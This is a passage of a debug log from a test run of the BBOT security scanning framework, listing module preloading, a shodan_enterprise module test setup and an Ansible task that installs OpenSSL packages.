[DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 22:04:22,260 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 22:04:22,261 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 22:04:22,262 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 22:04:22,264 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 22:04:22,265 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 22:04:22,266 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 22:04:22,267 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 22:04:22,268 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 22:04:22,269 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 22:04:22,270 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 22:04:22,271 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 22:04:22,273 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 22:04:22,273 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 22:04:22,274 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 22:04:22,275 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 22:04:22,276 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 22:04:22,277 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 22:04:22,278 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 22:04:22,280 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 22:04:22,280 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 22:04:22,282 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 22:04:22,283 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 22:04:22,284 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 22:04:22,286 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 22:04:22,287 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 22:04:22,288 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 22:04:22,289 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 22:04:22,290 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 22:04:22,291 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 22:04:22,292 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 22:04:22,294 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 22:04:22,295 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 22:04:22,297 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 22:04:22,298 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 22:04:22,301 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 22:04:22,302 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 22:04:22,307 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 22:04:22,308 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 22:04:22,311 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 22:04:22,312 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 22:04:22,315 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 22:04:22,316 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 22:04:22,319 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 22:04:22,320 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 22:04:22,322 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 22:04:22,322 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 22:04:22,531 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4586715744 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:04:22,531 [DEBUG] filelock _api.py:334 Lock 4586715744 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:04:22,534 [DEBUG] filelock _api.py:364 Attempting to release lock 4586715744 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:04:22,535 [DEBUG] filelock _api.py:367 Lock 4586715744 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:04:24,021 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 22:04:24,021 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 22:04:24,022 [INFO] bbot base.py:99 Starting shodanenterprise module test -2026-02-27 22:06:10,204 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 22:06:10,218 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 22:06:10,220 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 22:06:10,221 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 22:06:10,222 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 22:06:10,223 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 22:06:10,224 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 22:06:10,225 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 22:06:10,226 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 22:06:10,227 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 22:06:10,228 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 22:06:10,229 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 22:06:10,231 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 22:06:10,232 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 22:06:10,233 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 22:06:10,235 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 22:06:10,236 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 22:06:10,242 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 22:06:10,244 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 22:06:10,245 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 22:06:10,246 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 22:06:10,247 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 22:06:10,248 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 22:06:10,249 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 22:06:10,252 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 22:06:10,253 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 22:06:10,254 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 22:06:10,255 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 22:06:10,256 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 22:06:10,257 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 22:06:10,259 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 22:06:10,260 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 22:06:10,261 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 22:06:10,262 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 22:06:10,263 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 22:06:10,264 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 22:06:10,265 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 22:06:10,268 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 22:06:10,270 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 22:06:10,272 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 22:06:10,273 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 22:06:10,273 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 22:06:10,274 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 22:06:10,283 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 22:06:10,284 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 22:06:10,286 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 22:06:10,287 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 22:06:10,290 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 22:06:10,291 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 22:06:10,292 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 22:06:10,293 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 22:06:10,295 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 22:06:10,296 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 22:06:10,299 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 22:06:10,301 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 22:06:10,302 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 22:06:10,303 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 22:06:10,304 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 22:06:10,305 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 22:06:10,306 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 22:06:10,307 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 22:06:10,308 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 22:06:10,309 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 22:06:10,310 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 22:06:10,311 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 22:06:10,312 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 22:06:10,313 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 22:06:10,315 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 22:06:10,316 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 22:06:10,317 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 22:06:10,319 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 22:06:10,320 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 22:06:10,321 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 22:06:10,322 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 22:06:10,323 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 22:06:10,324 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 22:06:10,325 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 22:06:10,326 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 22:06:10,328 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 22:06:10,329 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 22:06:10,330 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 22:06:10,332 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 22:06:10,334 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 22:06:10,335 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 22:06:10,336 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 22:06:10,337 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 22:06:10,338 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 22:06:10,339 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 22:06:10,340 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 22:06:10,341 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 22:06:10,342 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 22:06:10,343 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 22:06:10,344 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 22:06:10,345 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 22:06:10,346 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 22:06:10,347 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 22:06:10,349 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 22:06:10,350 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 22:06:10,351 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 22:06:10,352 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 22:06:10,353 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 22:06:10,354 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 22:06:10,355 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 22:06:10,356 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 22:06:10,357 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 22:06:10,358 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 22:06:10,360 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 22:06:10,361 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 22:06:10,363 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 22:06:10,364 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 22:06:10,365 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 22:06:10,367 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 22:06:10,368 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 22:06:10,370 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 22:06:10,371 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 22:06:10,371 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 22:06:10,372 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 22:06:10,373 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 22:06:10,374 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 22:06:10,375 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 22:06:10,377 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 22:06:10,377 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 22:06:10,378 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 22:06:10,380 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 22:06:10,382 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 22:06:10,383 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 22:06:10,384 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 22:06:10,386 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 22:06:10,387 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 22:06:10,389 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 22:06:10,390 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 22:06:10,396 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 22:06:10,398 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 22:06:10,400 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 22:06:10,402 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 22:06:10,404 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 22:06:10,405 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 22:06:10,407 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 22:06:10,408 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 22:06:10,409 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 22:06:10,410 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 22:06:10,411 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 22:06:10,412 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 22:06:10,414 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 22:06:10,415 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 22:06:10,417 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 22:06:10,418 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 22:06:10,420 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 22:06:10,421 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 22:06:10,422 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 22:06:10,423 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 22:06:10,425 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 22:06:10,426 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 22:06:10,427 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 22:06:10,428 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 22:06:10,430 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 22:06:10,432 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 22:06:10,434 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 22:06:10,435 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 22:06:10,437 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 22:06:10,438 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 22:06:10,440 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 22:06:10,441 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 22:06:10,442 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 22:06:10,443 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 22:06:10,444 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 22:06:10,445 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 22:06:10,447 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 22:06:10,448 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 22:06:10,449 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 22:06:10,637 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4603984672 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:06:10,637 [DEBUG] filelock _api.py:334 Lock 4603984672 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:06:10,640 [DEBUG] filelock _api.py:364 Attempting to release lock 4603984672 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:06:10,640 [DEBUG] filelock _api.py:367 Lock 4603984672 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:06:12,005 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 22:06:12,005 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 22:06:12,006 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 22:06:12,154 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 22:06:12,780 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 22:06:12,780 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 22:06:12,780 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 22:06:12,781 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 22:06:13,015 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 22:06:13,017 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 22:06:13,131 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 22:06:13,131 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 22:06:13,188 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 22:06:13,195 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 22:06:13,196 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 22:06:13,954 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 22:06:13,955 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 22:06:16,751 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 22:06:16,751 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 22:06:16,752 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": 